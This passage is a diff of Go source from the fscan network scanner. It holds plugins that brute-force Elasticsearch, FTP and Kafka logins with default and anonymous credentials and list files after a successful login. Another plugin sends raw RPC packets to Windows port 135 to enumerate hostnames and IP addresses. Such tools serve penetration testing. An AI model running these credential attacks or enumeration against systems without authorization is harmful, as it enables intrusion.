|
||||
Username: cred.Username,
|
||||
Password: cred.Password,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "elasticsearch",
|
||||
Error: fmt.Errorf("未发现弱密码"),
|
||||
}
|
||||
}
|
||||
|
||||
func (p *ElasticsearchPlugin) testCredential(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) bool {
|
||||
client := &http.Client{
|
||||
Timeout: config.Timeout,
|
||||
Transport: &http.Transport{
|
||||
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
|
||||
},
|
||||
}
|
||||
|
||||
// 构建URL
|
||||
protocol := "http"
|
||||
if info.Port == 9443 {
|
||||
protocol = "https"
|
||||
}
|
||||
url := fmt.Sprintf("%s://%s:%d/", protocol, info.Host, info.Port)
|
||||
|
||||
req, err := http.NewRequestWithContext(ctx, "GET", url, nil)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
if cred.Username != "" || cred.Password != "" {
|
||||
auth := base64.StdEncoding.EncodeToString([]byte(cred.Username + ":" + cred.Password))
|
||||
req.Header.Set("Authorization", "Basic "+auth)
|
||||
}
|
||||
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return false
|
||||
}
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
defer func() { _ = resp.Body.Close() }()
|
||||
|
||||
if resp.StatusCode == 200 {
|
||||
body, err := io.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
bodyStr := string(body)
|
||||
return common.ContainsAny(bodyStr, "elasticsearch", "cluster_name")
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
func (p *ElasticsearchPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
if p.testCredential(ctx, info, Credential{Username: "", Password: ""}, config, state) {
|
||||
banner := "Elasticsearch"
|
||||
common.LogSuccess(i18n.Tr("elasticsearch_service", target, banner))
|
||||
return &ScanResult{
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeService,
|
||||
Service: "elasticsearch",
|
||||
Banner: banner,
|
||||
}
|
||||
}
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "elasticsearch",
|
||||
Error: fmt.Errorf("无法识别为Elasticsearch服务"),
|
||||
}
|
||||
}
|
||||
|
||||
func init() {
|
||||
// 使用高效注册方式:直接传递端口信息,避免实例创建
|
||||
RegisterPluginWithPorts("elasticsearch", func() Plugin {
|
||||
return NewElasticsearchPlugin()
|
||||
}, []int{9200, 9300})
|
||||
}
|
||||
@@ -0,0 +1,315 @@
|
||||
//go:build plugin_findnet || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"net"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
"unicode"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
// 预编译正则表达式
|
||||
var validHostnameRegex = regexp.MustCompile(`^[a-zA-Z0-9][a-zA-Z0-9-]*[a-zA-Z0-9]$`)
|
||||
|
||||
// FindNetPlugin Windows网络发现插件 - 通过RPC端点映射服务收集网络信息
|
||||
type FindNetPlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
// NewFindNetPlugin 创建FindNet插件
|
||||
func NewFindNetPlugin() *FindNetPlugin {
|
||||
return &FindNetPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("findnet"),
|
||||
}
|
||||
}
|
||||
|
||||
// GetPorts 实现Plugin接口
|
||||
|
||||
// Scan 执行FindNet扫描 - Windows网络信息收集
|
||||
func (p *FindNetPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
// 检查是否为RPC端口
|
||||
if info.Port != 135 {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "findnet",
|
||||
Error: fmt.Errorf("FindNet插件仅支持RPC端口135"),
|
||||
}
|
||||
}
|
||||
|
||||
// WrapperTcpWithTimeout内部已包含发包限制检查
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "findnet",
|
||||
Error: fmt.Errorf("连接RPC端口失败: %w", err),
|
||||
}
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
// 设置超时
|
||||
_ = conn.SetDeadline(time.Now().Add(config.Timeout))
|
||||
|
||||
// 执行RPC网络发现
|
||||
networkInfo, err := p.performNetworkDiscovery(conn)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "findnet",
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
|
||||
// 记录发现的网络信息 (一次性输出,避免被其他日志打断)
|
||||
if networkInfo.Valid {
|
||||
var lines []string
|
||||
// 主机名行
|
||||
if networkInfo.Hostname != "" {
|
||||
lines = append(lines, fmt.Sprintf("NetInfo %s [%s]", target, networkInfo.Hostname))
|
||||
}
|
||||
// 每个IP单独一行
|
||||
for _, ip := range networkInfo.IPv4Addrs {
|
||||
lines = append(lines, fmt.Sprintf("NetInfo %s -> %s", target, ip))
|
||||
}
|
||||
// 一次性输出所有行
|
||||
if len(lines) > 0 {
|
||||
common.LogSuccess(strings.Join(lines, "\n"))
|
||||
}
|
||||
}
|
||||
|
||||
return &ScanResult{
|
||||
Success: networkInfo.Valid,
|
||||
Service: "findnet",
|
||||
Banner: networkInfo.Summary(),
|
||||
}
|
||||
}
|
||||
|
||||
// NetworkInfo 网络信息结构
|
||||
type NetworkInfo struct {
|
||||
Valid bool
|
||||
Hostname string
|
||||
IPv4Addrs []string
|
||||
IPv6Addrs []string
|
||||
}
|
||||
|
||||
// Summary 返回网络信息摘要
|
||||
func (ni *NetworkInfo) Summary() string {
|
||||
if !ni.Valid {
|
||||
return "网络发现失败"
|
||||
}
|
||||
|
||||
var parts []string
|
||||
if ni.Hostname != "" {
|
||||
parts = append(parts, fmt.Sprintf("主机名: %s", ni.Hostname))
|
||||
}
|
||||
if len(ni.IPv4Addrs) > 0 {
|
||||
parts = append(parts, fmt.Sprintf("IPv4: %d个", len(ni.IPv4Addrs)))
|
||||
}
|
||||
if len(ni.IPv6Addrs) > 0 {
|
||||
parts = append(parts, fmt.Sprintf("IPv6: %d个", len(ni.IPv6Addrs)))
|
||||
}
|
||||
|
||||
if len(parts) == 0 {
|
||||
return "网络信息收集完成"
|
||||
}
|
||||
return strings.Join(parts, ", ")
|
||||
}
|
||||
|
||||
|
||||
// RPC数据包定义
|
||||
var (
|
||||
rpcBuffer1, _ = hex.DecodeString("05000b03100000004800000001000000b810b810000000000100000000000100c4fefc9960521b10bbcb00aa0021347a00000000045d888aeb1cc9119fe808002b10486002000000")
|
||||
rpcBuffer2, _ = hex.DecodeString("050000031000000018000000010000000000000000000500")
|
||||
rpcBuffer3, _ = hex.DecodeString("0900ffff0000")
|
||||
)
|
||||
|
||||
// performNetworkDiscovery 执行RPC网络发现
|
||||
func (p *FindNetPlugin) performNetworkDiscovery(conn net.Conn) (*NetworkInfo, error) {
|
||||
// 发送第一个RPC请求
|
||||
if _, err := conn.Write(rpcBuffer1); err != nil {
|
||||
return nil, fmt.Errorf("发送RPC请求1失败: %w", err)
|
||||
}
|
||||
|
||||
// 读取响应
|
||||
reply := make([]byte, 4096)
|
||||
if _, err := conn.Read(reply); err != nil {
|
||||
return nil, fmt.Errorf("读取RPC响应1失败: %w", err)
|
||||
}
|
||||
|
||||
// 发送第二个RPC请求
|
||||
if _, err := conn.Write(rpcBuffer2); err != nil {
|
||||
return nil, fmt.Errorf("发送RPC请求2失败: %w", err)
|
||||
}
|
||||
|
||||
// 读取网络信息响应
|
||||
n, err := conn.Read(reply)
|
||||
if err != nil || n < 42 {
|
||||
return nil, fmt.Errorf("读取RPC响应2失败: %w", err)
|
||||
}
|
||||
|
||||
// 解析响应数据
|
||||
responseData := reply[42:]
|
||||
|
||||
// 查找响应结束标记
|
||||
for i := 0; i < len(responseData)-5; i++ {
|
||||
if bytes.Equal(responseData[i:i+6], rpcBuffer3) {
|
||||
responseData = responseData[:i-4]
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
// 解析网络信息
|
||||
return p.parseNetworkInfo(responseData), nil
|
||||
}
|
||||
|
||||
// parseNetworkInfo 解析RPC响应中的网络信息
|
||||
func (p *FindNetPlugin) parseNetworkInfo(data []byte) *NetworkInfo {
|
||||
info := &NetworkInfo{
|
||||
Valid: false,
|
||||
IPv4Addrs: []string{},
|
||||
IPv6Addrs: []string{},
|
||||
}
|
||||
|
||||
encodedStr := hex.EncodeToString(data)
|
||||
|
||||
// 解析主机名
|
||||
var hostName string
|
||||
for i := 0; i < len(encodedStr)-4; i += 4 {
|
||||
if encodedStr[i:i+4] == "0000" {
|
||||
break
|
||||
}
|
||||
hostName += encodedStr[i : i+4]
|
||||
}
|
||||
|
||||
if hostName != "" {
|
||||
name := p.hexUnicodeToString(hostName)
|
||||
if p.isValidHostname(name) {
|
||||
info.Hostname = name
|
||||
info.Valid = true
|
||||
}
|
||||
}
|
||||
|
||||
// 用于去重的地址集合
|
||||
seenAddresses := make(map[string]struct{})
|
||||
|
||||
// 解析网络信息
|
||||
netInfo := strings.ReplaceAll(encodedStr, "0700", "")
|
||||
segments := strings.Split(netInfo, "000000")
|
||||
|
||||
// 处理每个网络地址段
|
||||
for _, segment := range segments {
|
||||
if len(segment) == 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
if len(segment)%2 != 0 {
|
||||
segment = segment + "0"
|
||||
}
|
||||
|
||||
addrBytes, err := hex.DecodeString(segment)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
addr := p.cleanAndValidateAddress(addrBytes)
|
||||
if _, exists := seenAddresses[addr]; addr != "" && !exists {
|
||||
seenAddresses[addr] = struct{}{}
|
||||
info.Valid = true
|
||||
|
||||
if strings.Contains(addr, ":") {
|
||||
info.IPv6Addrs = append(info.IPv6Addrs, addr)
|
||||
} else if net.ParseIP(addr) != nil {
|
||||
info.IPv4Addrs = append(info.IPv4Addrs, addr)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return info
|
||||
}
|
||||
|
||||
// hexUnicodeToString 将十六进制Unicode字符串转换为普通字符串
|
||||
func (p *FindNetPlugin) hexUnicodeToString(src string) string {
|
||||
if len(src)%4 != 0 {
|
||||
src += strings.Repeat("0", 4-len(src)%4)
|
||||
}
|
||||
|
||||
var result strings.Builder
|
||||
for i := 0; i < len(src); i += 4 {
|
||||
if i+4 > len(src) {
|
||||
break
|
||||
}
|
||||
|
||||
charCode, err := strconv.ParseInt(src[i+2:i+4]+src[i:i+2], 16, 32)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
if unicode.IsPrint(rune(charCode)) {
|
||||
result.WriteRune(rune(charCode))
|
||||
}
|
||||
}
|
||||
|
||||
return result.String()
|
||||
}
|
||||
|
||||
// isValidHostname 检查是否为有效主机名
|
||||
func (p *FindNetPlugin) isValidHostname(name string) bool {
|
||||
if len(name) == 0 || len(name) > 255 {
|
||||
return false
|
||||
}
|
||||
return validHostnameRegex.MatchString(name)
|
||||
}
|
||||
|
||||
// isValidNetworkAddress 检查是否为有效网络地址
|
||||
func (p *FindNetPlugin) isValidNetworkAddress(addr string) bool {
|
||||
// 检查是否为IPv4或IPv6
|
||||
if ip := net.ParseIP(addr); ip != nil {
|
||||
return true
|
||||
}
|
||||
|
||||
// 检查是否为有效主机名
|
||||
return p.isValidHostname(addr)
|
||||
}
|
||||
|
||||
// cleanAndValidateAddress 清理并验证地址
|
||||
func (p *FindNetPlugin) cleanAndValidateAddress(data []byte) string {
|
||||
// 转换为字符串并清理不可打印字符
|
||||
addr := strings.Map(func(r rune) rune {
|
||||
if unicode.IsPrint(r) {
|
||||
return r
|
||||
}
|
||||
return -1
|
||||
}, string(data))
|
||||
|
||||
// 移除前后空白
|
||||
addr = strings.TrimSpace(addr)
|
||||
|
||||
if p.isValidNetworkAddress(addr) {
|
||||
return addr
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// init 自动注册插件
|
||||
func init() {
|
||||
// 使用高效注册方式:直接传递端口信息,避免实例创建
|
||||
RegisterPluginWithPorts("findnet", func() Plugin {
|
||||
return NewFindNetPlugin()
|
||||
}, []int{135})
|
||||
}
|
||||
@@ -0,0 +1,270 @@
|
||||
//go:build plugin_ftp || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
ftplib "github.com/jlaffaye/ftp"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
// FTPPlugin FTP扫描插件
|
||||
type FTPPlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
func NewFTPPlugin() *FTPPlugin {
|
||||
return &FTPPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("ftp"),
|
||||
}
|
||||
}
|
||||
|
||||
func (p *FTPPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
if config.DisableBrute {
|
||||
return p.identifyService(info, config, state)
|
||||
}
|
||||
|
||||
target := info.Target()
|
||||
|
||||
// 优先检测匿名访问
|
||||
if result := p.testAnonymousAccess(ctx, info, config, state); result != nil && result.Success {
|
||||
return result
|
||||
}
|
||||
|
||||
credentials := GenerateCredentials("ftp", config)
|
||||
if len(credentials) == 0 {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "ftp",
|
||||
Error: fmt.Errorf("没有可用的测试凭据"),
|
||||
}
|
||||
}
|
||||
|
||||
// 使用公共框架进行并发凭据测试
|
||||
authFn := p.createAuthFunc(info, config, state)
|
||||
testConfig := DefaultConcurrentTestConfig(config)
|
||||
|
||||
result := TestCredentialsConcurrently(ctx, credentials, authFn, "ftp", testConfig)
|
||||
|
||||
if result.Success {
|
||||
// 成功后重新连接获取文件列表
|
||||
fileList := p.getFileListAfterAuth(info, result.Username, result.Password, config, state)
|
||||
var output strings.Builder
|
||||
output.WriteString(fmt.Sprintf("FTP %s %s:%s", target, result.Username, result.Password))
|
||||
if len(fileList) > 0 {
|
||||
for _, file := range fileList {
|
||||
output.WriteString(fmt.Sprintf("\n [->] %s", file))
|
||||
}
|
||||
}
|
||||
common.LogVuln(output.String())
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// createAuthFunc 创建FTP认证函数
|
||||
func (p *FTPPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc {
|
||||
return func(ctx context.Context, cred Credential) *AuthResult {
|
||||
return p.doFTPAuth(ctx, info, cred, config, state)
|
||||
}
|
||||
}
|
||||
|
||||
// doFTPAuth 执行FTP认证
|
||||
func (p *FTPPlugin) doFTPAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
||||
target := info.Target()
|
||||
|
||||
conn, err := ftplib.Dial(target, ftplib.DialWithTimeout(config.Timeout))
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifyFTPErrorType(err),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
|
||||
err = conn.Login(cred.Username, cred.Password)
|
||||
if err != nil {
|
||||
_ = conn.Quit()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifyFTPErrorType(err),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
return &AuthResult{
|
||||
Success: true,
|
||||
Conn: &ftpConnWrapper{conn},
|
||||
ErrorType: ErrorTypeUnknown,
|
||||
Error: nil,
|
||||
}
|
||||
}
|
||||
|
||||
// ftpConnWrapper 包装 ftplib.ServerConn 以实现 io.Closer
|
||||
type ftpConnWrapper struct {
|
||||
*ftplib.ServerConn
|
||||
}
|
||||
|
||||
func (w *ftpConnWrapper) Close() error {
|
||||
return w.Quit()
|
||||
}
|
||||
|
||||
// classifyFTPErrorType FTP错误分类
|
||||
func classifyFTPErrorType(err error) ErrorType {
|
||||
if err == nil {
|
||||
return ErrorTypeUnknown
|
||||
}
|
||||
|
||||
ftpAuthErrors := []string{
|
||||
"530 login incorrect",
|
||||
"530 not logged in",
|
||||
"530 user cannot log in",
|
||||
"530 authentication failed",
|
||||
"authentication failed",
|
||||
"permission denied",
|
||||
"access denied",
|
||||
"invalid credentials",
|
||||
"bad password",
|
||||
"login incorrect",
|
||||
}
|
||||
|
||||
ftpNetworkErrors := append(CommonNetworkErrors,
|
||||
"421 there are too many connections",
|
||||
)
|
||||
|
||||
return ClassifyError(err, ftpAuthErrors, ftpNetworkErrors)
|
||||
}
|
||||
|
||||
func (p *FTPPlugin) identifyService(info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
conn, err := ftplib.Dial(target, ftplib.DialWithTimeout(config.Timeout))
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "ftp",
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
defer func() { _ = conn.Quit() }()
|
||||
|
||||
banner := "FTP"
|
||||
common.LogSuccess(i18n.Tr("ftp_service", target, banner))
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeService,
|
||||
Success: true,
|
||||
Service: "ftp",
|
||||
Banner: banner,
|
||||
}
|
||||
}
|
||||
|
||||
// testAnonymousAccess 测试FTP匿名访问
|
||||
func (p *FTPPlugin) testAnonymousAccess(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
anonymousCreds := []Credential{
|
||||
{Username: "anonymous", Password: "anonymous"},
|
||||
{Username: "anonymous", Password: ""},
|
||||
{Username: "ftp", Password: "ftp"},
|
||||
}
|
||||
|
||||
for _, cred := range anonymousCreds {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return nil
|
||||
default:
|
||||
}
|
||||
|
||||
result := p.doFTPAuth(ctx, info, cred, config, state)
|
||||
if result.Success && result.Conn != nil {
|
||||
// 获取文件列表
|
||||
ftpConn, ok := result.Conn.(*ftpConnWrapper)
|
||||
if !ok {
|
||||
_ = result.Conn.Close()
|
||||
return nil
|
||||
}
|
||||
fileList := p.listFTPFiles(ftpConn.ServerConn)
|
||||
_ = result.Conn.Close()
|
||||
|
||||
var output strings.Builder
|
||||
output.WriteString(fmt.Sprintf("FTP %s 匿名访问 - %s:%s", target, cred.Username, cred.Password))
|
||||
if len(fileList) > 0 {
|
||||
for _, file := range fileList {
|
||||
output.WriteString(fmt.Sprintf("\n [->] %s", file))
|
||||
}
|
||||
}
|
||||
common.LogVuln(output.String())
|
||||
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeCredential,
|
||||
Success: true,
|
||||
Service: "ftp",
|
||||
Username: cred.Username,
|
||||
Password: cred.Password,
|
||||
Banner: "FTP匿名访问",
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// getFileListAfterAuth 认证成功后获取文件列表
|
||||
func (p *FTPPlugin) getFileListAfterAuth(info *common.HostInfo, username, password string, config *common.Config, state *common.State) []string {
|
||||
target := info.Target()
|
||||
|
||||
conn, err := ftplib.Dial(target, ftplib.DialWithTimeout(config.Timeout))
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
err = conn.Login(username, password)
|
||||
if err != nil {
|
||||
_ = conn.Quit()
|
||||
return nil
|
||||
}
|
||||
|
||||
fileList := p.listFTPFiles(conn)
|
||||
_ = conn.Quit()
|
||||
return fileList
|
||||
}
|
||||
|
||||
// listFTPFiles 列出FTP文件列表(前6个)
|
||||
func (p *FTPPlugin) listFTPFiles(conn *ftplib.ServerConn) []string {
|
||||
files := []string{}
|
||||
|
||||
entries, err := conn.List(".")
|
||||
if err != nil {
|
||||
return files
|
||||
}
|
||||
|
||||
maxFiles := 6
|
||||
for i, entry := range entries {
|
||||
if i >= maxFiles {
|
||||
break
|
||||
}
|
||||
|
||||
fileName := entry.Name
|
||||
if len(fileName) > 50 {
|
||||
fileName = fileName[:50] + "..."
|
||||
}
|
||||
files = append(files, fileName)
|
||||
}
|
||||
|
||||
return files
|
||||
}
|
||||
|
||||
func init() {
|
||||
RegisterPluginWithPorts("ftp", func() Plugin {
|
||||
return NewFTPPlugin()
|
||||
}, []int{21, 2121, 990})
|
||||
}
|
||||
@@ -0,0 +1,224 @@
|
||||
//go:build plugin_kafka || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/IBM/sarama"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
// KafkaPlugin Kafka扫描插件
|
||||
type KafkaPlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
func NewKafkaPlugin() *KafkaPlugin {
|
||||
return &KafkaPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("kafka"),
|
||||
}
|
||||
}
|
||||
|
||||
func (p *KafkaPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
if config.DisableBrute {
|
||||
return p.identifyService(ctx, info, config, state)
|
||||
}
|
||||
|
||||
target := info.Target()
|
||||
|
||||
credentials := GenerateCredentials("kafka", config)
|
||||
if len(credentials) == 0 {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "kafka",
|
||||
Error: fmt.Errorf("没有可用的测试凭据"),
|
||||
}
|
||||
}
|
||||
|
||||
// 使用公共框架进行并发凭据测试
|
||||
authFn := p.createAuthFunc(info, config, state)
|
||||
testConfig := DefaultConcurrentTestConfig(config)
|
||||
|
||||
result := TestCredentialsConcurrently(ctx, credentials, authFn, "kafka", testConfig)
|
||||
|
||||
if result.Success {
|
||||
common.LogVuln(i18n.Tr("kafka_credential", target, result.Username, result.Password))
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// createAuthFunc 创建Kafka认证函数
|
||||
func (p *KafkaPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc {
|
||||
return func(ctx context.Context, cred Credential) *AuthResult {
|
||||
return p.doKafkaAuth(ctx, info, cred, config, state)
|
||||
}
|
||||
}
|
||||
|
||||
// doKafkaAuth 执行Kafka认证
|
||||
func (p *KafkaPlugin) doKafkaAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
||||
target := info.Target()
|
||||
|
||||
kafkaConfig := sarama.NewConfig()
|
||||
kafkaConfig.Net.DialTimeout = config.Timeout
|
||||
kafkaConfig.Net.ReadTimeout = config.Timeout
|
||||
kafkaConfig.Net.WriteTimeout = config.Timeout
|
||||
kafkaConfig.Version = sarama.V2_0_0_0
|
||||
|
||||
if cred.Username != "" || cred.Password != "" {
|
||||
kafkaConfig.Net.SASL.Enable = true
|
||||
kafkaConfig.Net.SASL.Mechanism = sarama.SASLTypePlaintext
|
||||
kafkaConfig.Net.SASL.User = cred.Username
|
||||
kafkaConfig.Net.SASL.Password = cred.Password
|
||||
kafkaConfig.Net.SASL.Handshake = true
|
||||
}
|
||||
|
||||
type kafkaResult struct {
|
||||
client sarama.Client
|
||||
err error
|
||||
}
|
||||
|
||||
resultChan := make(chan kafkaResult, 1)
|
||||
go func() {
|
||||
client, err := sarama.NewClient([]string{target}, kafkaConfig)
|
||||
resultChan <- kafkaResult{client: client, err: err}
|
||||
}()
|
||||
|
||||
select {
|
||||
case result := <-resultChan:
|
||||
if result.err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifyKafkaErrorType(result.err),
|
||||
Error: result.err,
|
||||
}
|
||||
}
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
return &AuthResult{
|
||||
Success: true,
|
||||
Conn: &kafkaClientWrapper{result.client},
|
||||
ErrorType: ErrorTypeUnknown,
|
||||
Error: nil,
|
||||
}
|
||||
case <-ctx.Done():
|
||||
// context 被取消,启动清理协程等待并关闭可能创建的 client
|
||||
go func() {
|
||||
result := <-resultChan
|
||||
if result.client != nil {
|
||||
_ = result.client.Close()
|
||||
}
|
||||
}()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeNetwork,
|
||||
Error: ctx.Err(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// kafkaClientWrapper 包装 sarama.Client 以实现 io.Closer
|
||||
type kafkaClientWrapper struct {
|
||||
sarama.Client
|
||||
}
|
||||
|
||||
func (w *kafkaClientWrapper) Close() error {
|
||||
return w.Client.Close()
|
||||
}
|
||||
|
||||
// classifyKafkaErrorType Kafka错误分类
|
||||
func classifyKafkaErrorType(err error) ErrorType {
|
||||
if err == nil {
|
||||
return ErrorTypeUnknown
|
||||
}
|
||||
|
||||
kafkaAuthErrors := []string{
|
||||
"sasl authentication failed",
|
||||
"authentication failed",
|
||||
"invalid credentials",
|
||||
"unauthorized",
|
||||
"sasl/plain authentication failed",
|
||||
}
|
||||
|
||||
kafkaNetworkErrors := append(CommonNetworkErrors,
|
||||
"kafka: client has run out of available brokers",
|
||||
"broker not available",
|
||||
"no available brokers",
|
||||
)
|
||||
|
||||
return ClassifyError(err, kafkaAuthErrors, kafkaNetworkErrors)
|
||||
}
|
||||
|
||||
func (p *KafkaPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
// 尝试无认证连接
|
||||
emptyCred := Credential{Username: "", Password: ""}
|
||||
result := p.doKafkaAuth(ctx, info, emptyCred, config, state)
|
||||
if result.Success && result.Conn != nil {
|
||||
_ = result.Conn.Close()
|
||||
banner := "Kafka (无认证)"
|
||||
common.LogSuccess(i18n.Tr("kafka_service", target, banner))
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeService,
|
||||
Success: true,
|
||||
Service: "kafka",
|
||||
Banner: banner,
|
||||
}
|
||||
}
|
||||
|
||||
// 尝试检测协议
|
||||
kafkaConfig := sarama.NewConfig()
|
||||
kafkaConfig.Net.DialTimeout = config.Timeout
|
||||
kafkaConfig.Version = sarama.V2_0_0_0
|
||||
|
||||
client, err := sarama.NewClient([]string{target}, kafkaConfig)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
if p.isKafkaProtocolError(err) {
|
||||
banner := "Kafka (需要认证)"
|
||||
common.LogSuccess(i18n.Tr("kafka_service", target, banner))
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeService,
|
||||
Success: true,
|
||||
Service: "kafka",
|
||||
Banner: banner,
|
||||
}
|
||||
}
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "kafka",
|
||||
Error: fmt.Errorf("无法识别为Kafka服务"),
|
||||
}
|
||||
}
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
_ = client.Close()
|
||||
|
||||
banner := "Kafka"
|
||||
common.LogSuccess(i18n.Tr("kafka_service", target, banner))
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeService,
|
||||
Success: true,
|
||||
Service: "kafka",
|
||||
Banner: banner,
|
||||
}
|
||||
}
|
||||
|
||||
func (p *KafkaPlugin) isKafkaProtocolError(err error) bool {
|
||||
errStr := strings.ToLower(err.Error())
|
||||
return strings.Contains(errStr, "sasl") ||
|
||||
strings.Contains(errStr, "authentication") ||
|
||||
strings.Contains(errStr, "kafka") ||
|
||||
strings.Contains(errStr, "broker")
|
||||
}
|
||||
|
||||
func init() {
|
||||
RegisterPluginWithPorts("kafka", func() Plugin {
|
||||
return NewKafkaPlugin()
|
||||
}, []int{9092, 9093, 9094})
|
||||
}
|
||||
@@ -0,0 +1,290 @@
|
||||
//go:build plugin_ldap || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
ldaplib "github.com/go-ldap/ldap/v3"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
// LDAPPlugin LDAP扫描插件
|
||||
type LDAPPlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
func NewLDAPPlugin() *LDAPPlugin {
|
||||
return &LDAPPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("ldap"),
|
||||
}
|
||||
}
|
||||
|
||||
func (p *LDAPPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
if config.DisableBrute {
|
||||
